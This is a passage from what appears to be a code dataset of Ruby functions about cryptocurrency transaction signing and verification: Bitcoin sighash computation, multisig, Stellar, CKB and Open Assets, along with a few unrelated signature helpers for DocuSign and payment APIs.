matter because it would crash before that in CScriptCheck::operator()().\n # We normally won't enter this condition if script machine is instantiated\n # with transaction and input index, but it's better to check anyway.\n if (input_index >= tx.inputs.size)\n raise ArgumentError, \"Input index is out of bounds for transaction: #{input_index} >= #{tx.inputs.size}\"\n end\n\n # In case concatenating two scripts ends up with two codeseparators,\n # or an extra one at the end, this prevents all those possible incompatibilities.\n # Note: this normally never happens because there is no use for OP_CODESEPARATOR.\n # But we have to do that cleanup anyway to not break on rare transaction that use that for lulz.\n # Also: we modify the same subscript which is used several times for multisig check,\n # but that's what BitcoinQT does as well.\n output_script.delete_opcode(BTC::OP_CODESEPARATOR)\n\n # Blank out other inputs' signature scripts\n # and replace our input script with a subscript (which is typically a full\n # output script from the previous transaction).\n tx.inputs.each do |txin|\n txin.signature_script = BTC::Script.new\n end\n tx.inputs[input_index].signature_script = output_script\n\n # Blank out some of the outputs depending on BTCSignatureHashType\n # Default is SIGHASH_ALL - all inputs and outputs are signed.\n if (hash_type & BTC::SIGHASH_OUTPUT_MASK) == BTC::SIGHASH_NONE\n # Wildcard payee - we can pay anywhere.\n tx.remove_all_outputs\n\n # Blank out others' input sequence numbers to let others update transaction at will.\n tx.inputs.each_with_index do |txin, i|\n if i != input_index\n tx.inputs[i].sequence = 0\n end\n end\n\n # Single mode assumes we sign an output at the same index as an input.\n # Outputs before the one we need are blanked out. All outputs after are simply removed.\n elsif (hash_type & BTC::SIGHASH_OUTPUT_MASK) == BTC::SIGHASH_SINGLE\n # Only lock-in the txout payee at same index as txin.\n output_index = input_index;\n\n # If output_index is out of bounds, BitcoinQT is returning a 256-bit little-endian 0x01 instead of failing with error.\n # We should do the same to stay compatible.\n if output_index >= tx.outputs.size\n return \"\\x01\" + \"\\x00\"*31\n end\n\n # All outputs before the one we need are blanked out. All outputs after are simply removed.\n # This is equivalent to replacing outputs with (i-1) empty outputs and a i-th original one.\n my_output = tx.outputs[output_index]\n tx.remove_all_outputs\n (0...output_index).each do |i|\n tx.add_output(BTC::TransactionOutput.new)\n end\n tx.add_output(my_output)\n\n # Blank out others' input sequence numbers to let others update transaction at will.\n tx.inputs.each_with_index do |txin, i|\n if i != input_index\n txin.sequence = 0\n end\n end\n end # if hashtype is none or single\n\n # Blank out other inputs completely. This is not recommended for open transactions.\n if (hash_type & BTC::SIGHASH_ANYONECANPAY) != 0\n input = tx.inputs[input_index]\n tx.remove_all_inputs\n tx.add_input(input)\n end\n\n # Important: we have to hash transaction together with its hash type.\n # Hash type is appended as a little endian uint32 unlike 1-byte suffix of the signature.\n data = tx.data + BTC::WireFormat.encode_uint32le(hash_type)\n hash = BTC.hash256(data)\n # puts \"\"\n # puts \"SIGHASH[#{self.transaction_id}, input #{input_index}, hashtype 0x#{hash_type.to_s(16)}]: hash = #{BTC.id_from_hash(hash)}; tx = \" + tx.inspect\n # puts \"\"\n return hash\n end", "def signature_hash_for_input(input_idx, outpoint_tx, script_pubkey=nil, hash_type=nil, drop_sigs=nil, script=nil)\n # https://github.com/bitcoin/bitcoin/blob/e071a3f6c06f41068ad17134189a4ac3073ef76b/script.cpp#L834\n # http://code.google.com/p/bitcoinj/source/browse/trunk/src/com/google/bitcoin/core/Script.java#318\n # https://en.bitcoin.it/wiki/OP_CHECKSIG#How_it_works\n # https://github.com/bitcoin/bitcoin/blob/c2e8c8acd8ae0c94c70b59f55169841ad195bb99/src/script.cpp#L1058\n\n hash_type ||= 1 # 1: ALL, 2: NONE, 3: SINGLE\n\n pin = @in.map.with_index{|i,idx|\n if idx == input_idx\n script_pubkey ||= outpoint_tx.out[ i.prev_out_index ].pk_script\n script_pubkey = Bitcoin::Script.binary_from_string(script) if script # force this string a script\n script_pubkey = Bitcoin::Script.drop_signatures(script_pubkey, drop_sigs) if drop_sigs # array of signature to drop\n length = script_pubkey.bytesize\n [ i.prev_out, i.prev_out_index, length, script_pubkey, i.sequence || \"\\xff\\xff\\xff\\xff\" ].pack(\"a32ICa#{length}a4\")\n else\n case hash_type\n when 2\n [ i.prev_out, i.prev_out_index, 0, \"\\x00\\x00\\x00\\x00\" ].pack(\"a32ICa4\")\n else\n [ i.prev_out, i.prev_out_index, 0, i.sequence || \"\\xff\\xff\\xff\\xff\" ].pack(\"a32ICa4\")\n end\n end\n }.join\n pout = @out.map{|o|\n [ o.value, o.pk_script_length, o.pk_script ].pack(\"QCa#{o.pk_script_length}\")\n }.join\n\n case hash_type\n when 2\n pout = \"\"\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(0)\n else\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(@out.size)\n end\n buf = [[@ver].pack(\"I\"), in_size, pin, out_size, pout, [@lock_time].pack(\"I\")].join + [hash_type].pack(\"I\")\n Digest::SHA256.digest( Digest::SHA256.digest( buf ) )\n end", "def setup_multi_sig_sign_hash2(tx_code,keypair)\n #this will search the multi-sign-server for the published transaction with a matching tx_code.\n #if the transaction is found it will get the b64 encoded transaction from the server \n #and sign it with this keypair that is assumed to be a valid signer for this transaction.\n #after it signs the transaction it will send the signed transaction back to the multi-sign-server\n #that will continue to collect more signatures from other signers until the total signer weight threshold is met,\n #at witch point the multi-sign-server will send the fully signed transaction to the stellar network for validation\n # this function only returns the sig_hash to be sent to send_to_multi_sign_server(sig_hash) to publish signing of tx_code\n # this sig_hash can be modified before it is sent \n # example: \n # sig_hash[\"tx_title\"] = \"some cool transaction\"\n # sig_hash[\"signer_weight\"] = 2\n # the other values should already be filled in by the function that for the most part should not be changed.\n\n #this action get_tx when sent to the mss-server will returns the master created transaction with added info, \n #{\"tx_num\"=>1, \"signer\"=>0, \"tx_code\"=>\"7ZZUMOSZ26\", \"tx_title\"=>\"test multi sig tx\", \"signer_address\"=>\"\", \"signer_weight\"=>\"\", \"master_address\"=>\"GDZ4AFAB...\", \"tx_envelope_b64\"=>\"AAAA...\",\"signer_sig\"=>\"URYE...\"}\n get_tx = {\"action\"=>\"get_tx\",\"tx_code\"=>\"7ZZUMOSZ26\"}\n get_tx[\"tx_code\"] = tx_code\n result = Utils.send_to_multi_sign_server(get_tx)\n puts \"mss result: #{result}\"\n puts \"env_b64: #{result[\"tx_envelope_b64\"]}\"\n env = Utils.b64_to_envelope(result[\"tx_envelope_b64\"])\n if env.nil?\n puts \"env was nil\"\n return nil\n end\n tx = env.tx\n signature = Utils.sign_transaction_env(env,keypair)\n #sig_b64 = ??\n envnew = Utils.envelope_addsigners(env, tx, keypair)\n tx_envelope_b64 = Utils.envelope_to_b64(envnew)\n submit_sig = {\"action\"=>\"sign_tx\",\"tx_title\"=>\"test tx\",\"tx_code\"=>\"JIEWFJYE\", \"signer_address\"=>\"GAJYGYI...\", \"signer_weight\"=>\"1\", \"tx_envelope_b64\"=>\"AAAA...\",\"signer_sig\"=>\"JIDYR...\"}\n submit_sig[\"tx_code\"] = tx_code\n submit_sig[\"tx_title\"] = tx_code\n sig_b64 = Stellar::Convert.to_base64 signature\n submit_sig[\"signer_sig\"] = sig_b64\n #sig_bytes = Stellar::Convert.from_base64 sig_b64\n #sig_b64 = Stellar::Convert.to_base64 sig_bytes\n submit_sig[\"tx_envelope_b64\"] = tx_envelope_b64\n submit_sig[\"signer_address\"] = keypair.address\n return submit_sig\nend", "def sign(wallet)\n tx = Arweave::Transaction.new(data: @commit.message.to_s)\n @commit.to_tags.each do |name, value|\n tx.add_tag(name: name, value: value)\n end\n tx.sign(wallet)\n end", "def sign_tx(raw_tx, pkey_wif)\n # Seems like this is your quintessential reference: \n # http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html\n\n # I think this is the right way to do it...\n Bitcoin.network = (bitcoin.is_testing?) ? :testnet3 : :bitcoin\n\n # This parses the binary-encoded raw transaction:\n tx = Bitcoin::P::Tx.new [raw_tx].pack('H*')\n\n # This is the input transaction, which we'll need for signining:\n prev_hash = tx.in[0].prev_out.reverse_hth\n\n # let's parse the keys:\n key = Bitcoin::Key.from_base58 pkey_wif\n\n pubkey = [key.pub].pack('H*')\n\n # And parse the input transaction:\n prev_tx = Bitcoin::P::Tx.new [bitcoin.getrawtransaction(prev_hash)].pack('H*')\n\n # And, now we're ready to sign: \n subscript = tx.signature_hash_for_input 0, prev_tx\n sig = Bitcoin.sign_data Bitcoin.open_key(key.priv), subscript\n tx.in[0].script_sig = Bitcoin::Script.to_signature_pubkey_script sig, pubkey \n\n tx.to_payload.unpack('H*')[0]\n end", "def handle_assemble_tx tx_hex, sig_pubs\n tx = Bitcoin::P::Tx.new(tx_hex.htb)\n sig_pubs.each.with_index do |sig_pub, idx|\n sig, pub = *sig_pub.map(&:htb)\n script_sig = Bitcoin::Script.to_signature_pubkey_script(sig, pub)\n tx.in[idx].script_sig_length = script_sig.bytesize\n tx.in[idx].script_sig = script_sig\n end\n tx = Bitcoin::P::Tx.new(tx.to_payload)\n tx.validator(@node.store).validate(raise_errors: true)\n tx.to_payload.hth\n rescue\n { error: \"Error assembling tx: #{$!.message}\" }\n end", "def verify_input_sig_for_witness(input_index, script_pubkey, amount, flags, prevouts)\n checker = Bitcoin::TxChecker.new(tx: self, input_index: input_index, amount: amount, prevouts: prevouts)\n interpreter = Bitcoin::ScriptInterpreter.new(checker: checker, flags: flags)\n i = inputs[input_index]\n interpreter.verify_script(i.script_sig, script_pubkey, i.script_witness)\n end", "def combine_signatures(*sig_dicts)\n combined = {}\n sig_dicts.each do |sig_dict|\n sig_dict.each do |tree, signature|\n decoded_sig = decode_base58(signature)\n low_s_der_sig = Bitcoin::Script.is_low_der_signature?(decoded_sig) ?\n decoded_sig : Bitcoin::OpenSSL_EC.signature_to_low_s(decoded_sig)\n combined[tree] = Bitcoin::OpenSSL_EC.repack_der_signature(low_s_der_sig)\n end\n end\n\n # Order of signatures is important for validation, so we always\n # sort public keys and signatures by the name of the tree\n # they belong to.\n combined.sort_by { |tree, value| tree }.map { |tree, sig| sig }\n end", "def build_p2sh_multisig_tx(num_to_unlock, *keys)\n redeem_script = Bitcoin::Script.to_multisig_script(\n num_to_unlock, *keys.map(&:pub)\n )\n p2sh_address = Bitcoin.hash160_to_p2sh_address(\n Bitcoin.hash160(redeem_script.hth)\n )\n\n prev_tx = build_tx do |t|\n t.input(&:coinbase)\n t.output do |o|\n o.to p2sh_address\n o.value 50e8\n end\n end\n\n tx = build_tx do |t|\n t.input { |i| i.prev_out prev_tx, 0 }\n t.output do |o|\n o.to Bitcoin::Key.generate.addr\n o.value 50e8\n end\n end\n\n sig_hash = tx.signature_hash_for_input(0, redeem_script)\n\n [prev_tx, tx, redeem_script, sig_hash]\n end", "def template_signers\n signers.map do |signer|\n signer.role_name ||= \"Issuer_#{signers.length+1}\"\n signer.to_docusign\n end\n end", "def commit_array(pairs_array)\n transcript = []\n \n pairs_array.each do |pairs_hash|\n \n pairs_hash.each do |key, value|\n \n unless self.class.allowed_fields_list.include?(key)\n transcript << { key => value }\n else\n set_attr(key, value)\n end\n end#of each\n \n end#of each\n \n set_attr(:transcript, transcript)\n \n end", "def signature_script_for_input(input: nil, output: nil)\n nil\n end", "def verify_input_signature(in_idx, outpoint_tx)\n outpoint_idx = @in[in_idx].prev_out_index\n script_sig = @in[in_idx].script_sig\n script_pubkey = outpoint_tx.out[outpoint_idx].pk_script\n script = script_sig + script_pubkey\n\n Bitcoin::Script.new(script).run do |pubkey,sig,hash_type,drop_sigs,script|\n # this IS the checksig callback, must return true/false\n #p ['checksig', pubkey, sig, hash_type, drop_sigs, script]\n hash = signature_hash_for_input(in_idx, outpoint_tx, nil, hash_type, drop_sigs, script)\n #hash = signature_hash_for_input(in_idx, nil, script_pubkey, hash_type, drop_sigs, script)\n Bitcoin.verify_signature( hash, sig, pubkey.unpack(\"H*\")[0] )\n end\n end", "def signature_base\n tx = Stellar::Transaction.from_xdr(\n # TransactionV0 is a transaction with the AccountID discriminant\n # stripped off, we need to put it back to build a valid transaction\n # which we can use to build a TransactionSignaturePayloadTaggedTransaction\n Stellar::PublicKeyType.to_xdr(Stellar::PublicKeyType.public_key_type_ed25519) + to_xdr\n )\n\n tagged_tx = Stellar::TransactionSignaturePayload::TaggedTransaction.new(:envelope_type_tx, tx)\n\n Stellar::TransactionSignaturePayload.new(\n network_id: Stellar.current_network_id,\n tagged_transaction: tagged_tx\n ).to_xdr\n end", "def CHECKMULTISIG\n public_keys = []\n items_or_count = evaluation_stack.pop\n if items_or_count.is_a? Array\n public_keys = items_or_count.map { |item| unwrap_byte_array item }\n fault! if public_keys.length.zero?\n else\n count = unwrap_integer items_or_count\n fault! if count.zero? || count > evaluation_stack.size\n count.times do\n public_keys.push unwrap_byte_array(evaluation_stack.pop)\n end\n end\n signatures = []\n items_or_count = evaluation_stack.pop\n if items_or_count.is_a? Array\n signatures = items_or_count.map { |item| unwrap_byte_array item }\n fault! if signatures.length.zero? || signatures.length > public_keys.length\n else\n count = unwrap_integer items_or_count\n fault! if count < 1 || signatures.length > public_keys.length || signatures.length > evaluation_stack.size\n count.times do\n signatures.push unwrap_byte_array(evaluation_stack.pop)\n end\n end\n message = script_container.get_message\n success = true\n i = 0\n j = 0\n while success && i < signatures.length && j < public_keys.length\n i += 1 if SDK::Simulation.verify_signature message, signatures[i], public_keys[j]\n j += 1\n success = false if signatures.length - i > public_keys.length - j\n end\n evaluation_stack.push success\n end", "def set_transaction(tx, input)\n @transaction = tx\n @input_index = input\n end", "def sign_transaction(tx)\n signed_tx = respond_to?(:signrawtransactionwithwallet) ? signrawtransactionwithwallet(tx) : signrawtransaction(tx)\n raise OpenAssets::Error, 'Could not sign the transaction.' unless signed_tx['complete']\n Bitcoin::Protocol::Tx.new(signed_tx['hex'].htb)\n end", "def create_signers(emails, names, orders)\n e_array = emails.to_s.gsub(/\\s+/, \"\").split(',')\n o_array = orders.to_s.gsub(/\\s+/, \"\").split(',')\n n_array = names.to_s.split(\",\")\n signers = []\n\n if e_array.length == n_array.length\n e_array.zip(n_array, o_array).each_with_index do |val, index|\n email = val[0]\n name = val[1].strip\n order = val[2]\n new_index = index + 1\n\n signer = DocuSign_eSign::Signer.new({\n email: \"#{email}\", name: \"#{name}\",\n roleName: \"signer\", recipientId: \"#{new_index}\",\n routingOrder: \"#{order}\", #define order\n defaultRecipient: \"false\" #Add clientID here makes envelope embeddable\n })\n signer_tab = DocuSign_eSign::SignHere.new(\n tabLabel: \"DocuSignSignHere Signer#{new_index}\", #must match pdf form field name!! important\n )\n #ASSIGN Tab signing order for each recipient\n signer_tabs = DocuSign_eSign::Tabs.new(\n :signHereTabs => [signer_tab]\n )\n signer.tabs = signer_tabs\n signers.push(signer)\n end\n else\n return \"error\"\n end\n\n signers\n end", "def transloadit_params_signature(params)\n auth_secret = Lynr.config('app')['transloadit']['auth_secret']\n return nil if auth_secret.nil?\n digest = OpenSSL::Digest::Digest.new('sha1')\n OpenSSL::HMAC.hexdigest(digest, auth_secret, JSON.generate(params))\n end", "def generate_signature\n sha1x16 = Digest::SHA1.hexdigest(signed_string)\n .tap { |s| logger.debug \"sha1x16 #{s}\" }\n enc = case form_fields['signMethod']\n when '01' # 01 means RSA\n merchant_private_key.sign(OpenSSL::Digest::SHA1.new, sha1x16)\n .tap { |s| logger.debug \"enc #{s}\" }\n else # at current time (2015-05-25) no other signing method is mentioned in Unionpay's official docs\n raise \"sign method #{form_fields['signMethod']} is not implemented yet.\"\n end\n Base64.strict_encode64(enc) # has to be strict_encode64, not encode64, as the latter as an extra '\\n'\n .tap { |s| logger.debug \"final: #{s}\" }\n end", "def build\n\n if !self.change_address\n raise MissingChangeAddressError\n end\n\n result = Result.new\n\n add_input_for_utxo = proc do |utxo|\n raise ArgumentError, \"Unspent output must contain index\" if !utxo.index\n raise ArgumentError, \"Unspent output must contain transaction_hash\" if !utxo.transaction_hash\n\n if !self.internal_provider.consumed_unspent_output?(utxo)\n self.internal_provider.consume_unspent_output(utxo)\n\n result.inputs_amount += utxo.value\n txin = TransactionInput.new(\n previous_hash: utxo.transaction_hash,\n previous_index: utxo.index,\n # put the output script here so the signer knows which key to use.\n signature_script: utxo.script)\n txin.transaction_output = utxo\n result.transaction.add_input(txin)\n else\n # UTXO was already consumed possibly by another Tx Builder sharing the same provider.\n end\n end\n\n # If no outputs are specified, spend all utxos to a change address, minus the mining fee.\n if (self.outputs || []).size == 0\n result.inputs_amount = 0\n\n (self.prepended_unspent_outputs || []).each(&add_input_for_utxo)\n (self.unspent_outputs || []).each(&add_input_for_utxo)\n\n if result.transaction.inputs.size == 0\n raise MissingUnspentOutputsError, \"Missing unspent outputs\"\n end\n\n # Value will be determined after computing the fee\n change_output = TransactionOutput.new(value: 0, script: self.change_address.public_address.script)\n result.transaction.add_output(change_output)\n\n result.fee = compute_fee_for_transaction(result.transaction, self.fee_rate)\n result.outputs_amount = result.inputs_amount - result.fee\n result.change_amount = 0\n\n # Check if inputs cover the fees\n if result.outputs_amount < 0\n raise InsufficientFundsError.new(result)\n end\n\n # Warn if the output amount is relatively small.\n if result.outputs_amount < result.fee\n Diagnostics.current.add_message(\"BTC::TransactionBuilder: Warning! Spending all unspent outputs returns less than a mining fee. (#{result.outputs_amount} < #{result.fee})\")\n end\n\n # Set the output value as needed\n result.transaction.outputs[0].value = result.outputs_amount\n\n # For each address that is a WIF, locate the matching input and sign it.\n attempt_to_sign_transaction(result)\n\n return result\n end # if no specific outputs required\n\n # We are having one or more outputs (e.g. normal payment)\n # Need to find appropriate unspents and compose a transaction.\n\n # Prepare all outputs.\n # result.outputs_amount will also contain a fee after it's calculated.\n (self.outputs || []).each do |txout|\n result.outputs_amount += txout.value\n result.transaction.add_output(txout)\n end\n\n # We'll determine final change value depending on inputs.\n # Setting default to MAX_MONEY will protect against a bug when we fail to update the amount and\n # spend unexpected amount on mining fees.\n change_output = TransactionOutput.new(value: MAX_MONEY, script: self.change_address.public_address.script)\n result.transaction.add_output(change_output)\n\n mandatory_utxos = (self.prepended_unspent_outputs || []).to_a.dup\n\n # We have specific outputs with specific amounts, so we need to select the best amount of coins.\n # To play nice with BIP32/BIP44 change addresses (that need to monitor an increasing amount of addresses),\n # we'll spend oldest outputs first and will add more and more newer outputs until we cover fees\n # and change output is either zero or above the dust limit.\n # If `confirmations` attribute is nil, order is preserved.\n utxos = self.unspent_outputs || []\n if self.keep_unspent_outputs_order\n sorted_utxos = utxos.to_a.dup\n else\n sorted_utxos = utxos.to_a.sort_by{|txout| -(txout.confirmations || -1) } # oldest first\n end\n \n if self.parent_transactions\n # Can repeat some outputs in mandatory_utxos or sorted_utxos, \n # but double-spending will be prevented by provider.\n self.parent_transactions.each do |parenttx|\n sorted_utxos += parenttx.outputs\n end\n end\n \n all_utxos = (sorted_utxos + mandatory_utxos)\n\n while true\n if (sorted_utxos.size + mandatory_utxos.size) == 0\n raise InsufficientFundsError.new(result)\n end\n\n utxo = nil\n while (sorted_utxos.size + mandatory_utxos.size) > 0\n utxo = if mandatory_utxos.size > 0\n mandatory_utxos.shift\n else\n sorted_utxos.shift\n end \n if utxo.value > 0 &&\n !utxo.script.op_return_script? &&\n !self.internal_provider.consumed_unspent_output?(utxo)\n self.internal_provider.consume_unspent_output(utxo)\n break\n else\n #puts \"CONSUMED UTXO, SKIPPING: #{utxo.transaction_id}:#{utxo.index} (#{utxo.value})\"\n # Continue reading utxos to find one that is not consumed yet.\n utxo = nil\n end\n end\n \n if !utxo\n # puts \"ALL UTXOS:\"\n # all_utxos.each do |utxo|\n # puts \"--> #{utxo.transaction_id}:#{utxo.index} (#{utxo.value})\"\n # end\n raise InsufficientFundsError\n end\n \n result.inputs_amount += utxo.value\n\n raise ArgumentError, \"Transaction hash must be non-nil in unspent output\" if !utxo.transaction_hash\n raise ArgumentError, \"Index must be non-nil in unspent output\" if !utxo.index\n\n txin = TransactionInput.new(previous_hash: utxo.transaction_hash,\n previous_index: utxo.index,\n # put the output script here so the signer knows which key to use.\n signature_script: utxo.script)\n txin.transaction_output = utxo\n result.transaction.add_input(txin)\n\n # Do not check the result before we included all the mandatory utxos.\n if mandatory_utxos.size == 0\n # Before computing the fee, quick check if we have enough inputs to cover the outputs.\n # If not, go and add one more utxo before wasting time computing fees.\n if result.inputs_amount >= result.outputs_amount\n fee = compute_fee_for_transaction(result.transaction, self.fee_rate)\n\n change = result.inputs_amount - result.outputs_amount - fee\n\n if change >= self.minimum_change\n\n # We have a big enough change, set missing values and return.\n\n change_output.value = change\n result.change_amount = change\n result.outputs_amount += change\n result.fee = fee\n attempt_to_sign_transaction(result)\n return result\n\n elsif change > self.dust_change && change < self.minimum_change\n\n # We have a shitty change: not small enough to forgo, not big enough to be useful.\n # Try adding more utxos on the next cycle (or fail if no more utxos are available).\n\n elsif change >= 0 && change <= self.dust_change\n # This also includes the case when change is exactly zero satoshis.\n # Remove the change output, keep existing outputs_amount, set fee and try to sign.\n result.transaction.outputs = result.transaction.outputs[0, result.transaction.outputs.size - 1]\n result.change_amount = 0\n result.fee = fee\n attempt_to_sign_transaction(result)\n return result\n\n else\n # Change is negative, we need more funds for this transaction.\n # Try adding more utxos on the next cycle.\n result.fee = fee\n end\n\n end # if inputs_amount >= outputs_amount\n end # if no more mandatory outputs to add\n end # while true\n end", "def handle_create_tx keys, recipients, fee = 0\n keystore = Bitcoin::Wallet::SimpleKeyStore.new(file: StringIO.new(\"[]\"))\n keys.each do |k|\n begin\n key = Bitcoin::Key.from_base58(k)\n key = { addr: key.addr, key: key }\n rescue\n if Bitcoin.valid_address?(k)\n key = { addr: k }\n else\n begin\n key = Bitcoin::Key.new(nil, k)\n key = { addr: key.addr, key: key }\n rescue\n return { error: \"Input not valid address, pub- or privkey: #{k}\" }\n end\n end\n end\n keystore.add_key(key)\n end\n wallet = Bitcoin::Wallet::Wallet.new(@node.store, keystore)\n tx = wallet.new_tx(recipients.map {|r| [:address, r[0], r[1]]}, fee)\n return { error: \"Error creating tx.\" } unless tx\n [ tx.to_payload.hth, tx.in.map {|i| [i.sig_hash.hth, i.sig_address] rescue nil } ]\n rescue\n { error: \"Error creating tx: #{$!.message}\" }\n end", "def init_bip45_pubkey(wallet, cosigners_count, required_signs)\n # Get all cosigners public bip32 keys to hash with indexes\n keys = {}\n cosigners_count.times do |i|\n keys[i] = wallet[\"cosigner#{i}\".to_sym][:master][:public]\n end\n\n opts = {\n required_signs: required_signs,\n public_keys: keys,\n network: NETWORK\n }\n node = MultisigMoneyTree::BIP45Node.new(opts)\n \n wallet[:bip45] = {}\n wallet[:bip45][:public] = node.to_bip45(network: NETWORK)\nend", "def are_inputs_standard?(tx, for_test=false)\n return true if tx.is_coinbase?\n\n tx.inputs.each do |txin|\n txout = @storage.output_for_outpoint(txin.prev_out, txin.prev_out_index, for_test)\n txout = @mempool.output_for_outpoint(txin) if !txout\n pk_script = Bitcoin::Script.new(txout.pk_script)\n # check that the script pubkey is standard\n return false if !pk_script.is_standard?\n num_args_expected = script_args_expected(pk_script)\n return false if num_args_expected < 0\n\n # parse the script sig\n script = Bitcoin::Script.new(txin.script)\n\n # check that serialized p2sh scripts are also standard\n if pk_script.is_p2sh?\n return false if script.chunks.length < 1\n serialized_script = script.chunks[-1]\n inner_script = Bitcoin::Script.new(serialized_script)\n return false if inner_script.is_p2sh? || !inner_script.is_standard?\n inner_num_args_expected = script_args_expected(inner_script)\n return false if inner_num_args_expected < 0\n num_args_expected += inner_num_args_expected\n end\n\n # we already know all of the script elements are pushes\n return false if num_args_expected != script.chunks.length\n end\n\n true\n end", "def post_transactions(transaction_request, opts = {})\n data, _status_code, _headers = post_transactions_with_http_info(transaction_request, opts)\n data\n end", "def sign(t_outputs)\n # binding.pry\n Base64.encode64(private_key.sign(OpenSSL::Digest::SHA256.new, t_outputs.to_json))\n end", "def hash_transactions\n tx_ids = transactions.map do |tx|\n tx.id\n end\n Digest::SHA256.hexdigest(tx_ids.join(''))\n end", "def signature(i)\n raise \"Not a signature!\" unless i.is_a? Signature\n @signatures << i\n end", "def submit_transactions(raw_transactions: [])\n params = {\n raw_transactions: raw_transactions,\n }\n client.make_request('/submit-transactions', 'post', params: params)\n end", "def generate_fund_tx(inputs, outputs, outputs_data, witnesses, type_dep = nil)\n tx = CKB::Types::Transaction.new(\n version: 0,\n cell_deps: [],\n inputs: inputs,\n outputs: outputs,\n outputs_data: outputs_data,\n witnesses: witnesses,\n )\n\n tx.cell_deps << CKB::Types::CellDep.new(out_point: @api.secp_code_out_point, dep_type: \"code\")\n tx.cell_deps << CKB::Types::CellDep.new(out_point: @api.secp_data_out_point, dep_type: \"code\")\n tx.cell_deps += type_dep\n\n tx.hash = tx.compute_hash\n return tx\n end", "def scan_tx(client, tx)\n findings = []\n\n # Ignore miner data (less interesting).\n return [] if tx['vin'][0]['coinbase']\n\n outputs = tx['vout']\n # multisig, pubkeyhash, nulldata, nil\n outputs_by_type = outputs.group_by { |output| output['scriptPubKey']['type'] }\n outputs_by_type.keys.each {|type|\n # TODO: If vout.spentTxId, probably not data\n have_length_and_cksum, mime, filedata, filesize = scan_output_group(client, outputs_by_type[type])\n if mime\n if not whitelisted_mime?(mime) and not mime.start_with?('text/') and filedata.length > 40\n total = outputs_by_type[type].length\n spent = outputs_by_type[type].select{ |output| output.include?('spentTxId') }.length\n unspent = total - spent\n if unspent > spent\n puts ''\n puts \"#{tx['txid']} ******* Potentially interesting ******* #{mime}\"\n puts ''\n end\n end\n if filedata.length < filesize\n nexttx = tx\n while filedata.length < filesize\n nexttx = find_next_tx(client, nexttx)\n outputs = nexttx['vout']\n outputs_by_type = outputs.group_by { |output| output['scriptPubKey']['type'] }\n\n data = vouts_to_data(outputs_by_type[type])\n length, cksum = get_length_and_cksum(data)\n next_have_length_and_cksum = (length != nil)\n if next_have_length_and_cksum != have_length_and_cksum\n $stderr.puts '******* Length and cksum mismatch on multi-tx file ********'\n next\n end\n next_filedata = have_length_and_cksum ? data.byteslice(8, length) : data.byteslice(0..-1)\n filedata += next_filedata\n end\n end\n if filesize > 0\n skipto = 20 * (filesize / 20 + 1)\n if skipto < filedata.length\n leftoverdata = filedata.byteslice(skipto..-1)\n if Digest::RMD160.digest(filedata.byteslice(0, filesize)) == leftoverdata.byteslice(0, 160/8)\n # cryptograffiti\n skipto = 20 * (filesize / 20 + 2)\n if (skipto + 40) < filedata.length\n leftoverdata = leftoverdata.byteslice(20..-1)\n endidx = leftoverdata.index(\"\\x00\")\n endidx = (endidx - 1) if endidx != nil\n endidx = (leftoverdata.length - 40 - 1) if endidx == nil\n text = leftoverdata.byteslice(0..endidx).force_encoding('utf-8')\n if not text.valid_encoding?\n puts \"#{tx['txid']} Invalid encoding, skipping\"\n next\n end\n end\n end\n end\n filedata = filedata.byteslice(0, filesize)\n end\n if whitelisted_mime?(mime)\n if not text and text_mime?(mime)\n mime = nil\n endidx = filedata.index(\"\\x00\")\n endidx = (endidx - 1) if endidx != nil\n endidx = -1 if endidx == nil\n text = filedata.byteslice(0..endidx).force_encoding('utf-8')\n if not text.valid_encoding?\n puts \"#{tx['txid']} Invalid encoding, skipping\"\n next\n end\n next if has_ignored_prefix?(text)\n filedata = nil\n end\n findings += [\n {\n tx: tx['txid'],\n file_mime: mime,\n file_data: filedata,\n file_ext: file_extension(filedata, mime),\n text: text,\n time: tx['time']\n }\n ]\n # We found what we wanted in this tx\n return findings\n end\n end\n }\n findings\nend", "def parse_script txout, i, tx_hash = \"\", tx_idx\n addrs, names = [], []\n\n script = Bitcoin::Script.new(txout.pk_script) rescue nil\n if script\n if script.is_hash160? || script.is_pubkey? || script.is_p2sh?\n addrs << [i, script.get_address]\n elsif script.is_multisig?\n script.get_multisig_addresses.map do |address|\n addrs << [i, address]\n end\n elsif Bitcoin.namecoin? && script.is_namecoin?\n addrs << [i, script.get_address]\n names << [i, script]\n elsif script.is_op_return?\n log.info { \"Ignoring OP_RETURN script: #{script.get_op_return_data}\" }\n else\n log.info { \"Unknown script type in txout #{tx_hash}:#{tx_idx}\" }\n log.debug { script.to_string }\n end\n script_type = SCRIPT_TYPES.index(script.type)\n else\n log.error { \"Error parsing script #{tx_hash}:#{tx_idx}\" }\n script_type = SCRIPT_TYPES.index(:unknown)\n end\n [script_type, addrs, names]\n end", "def verify_signatures spec, digests, signatures\n if only_signed and signatures.empty? then\n raise Gem::Security::Exception,\n \"unsigned gems are not allowed by the #{name} policy\"\n end\n\n digests.each do |file, digest|\n signature = signatures[file]\n raise Gem::Security::Exception, \"missing signature for #{file}\" unless\n signature\n verify_signature signature, digest.digest, spec.cert_chain\n end\n end", "def redeem_script(network: @network)\n @network = network\n \n check_bip45_opts\n \n @redeem_script ||= Bitcoin::Script.to_p2sh_multisig_script(@required_signs, *@public_keys_hex).last\n end", "def init_generic_transactions(file_list, transaction_holder)\n file_list.each do |path|\n data = File.open(path).read\n filename = path.split(%r{/}).last\n transaction_holder.push Transaction.new(data, filename)\n end\n nil\n end", "def sign_transaction(wallet_id: default_wallet_id, params: {})\n call :post, '/wallet/' + wallet_id + '/signtransaction', params\n end", "def partial_verify_asset_transaction(asset_transaction)\n raise ArgumentError, \"Asset Transaction is missing\" if !asset_transaction\n\n # 1. Verify issuing transactions and collect transfer outputs\n cache_transactions do\n if !verify_issues(asset_transaction)\n return nil\n end\n\n # No transfer outputs, this transaction is verified.\n # If there are assets on some inputs, they are destroyed.\n if asset_transaction.transfer_outputs.size == 0\n # We keep inputs unverified to indicate that they were not even processed.\n return []\n end\n\n # 2. Fetch parent transactions to verify.\n # * Verify inputs from non-OpenAsset transactions.\n # * Return OA transactions for verification.\n # * Link each input to its OA transaction output.\n prev_unverified_atxs_by_hash = {}\n asset_transaction.inputs.each do |ain|\n txin = ain.transaction_input\n # Ask source if it has a cached verified transaction for this input.\n prev_atx = @source.verified_asset_transaction_for_hash(txin.previous_hash)\n if 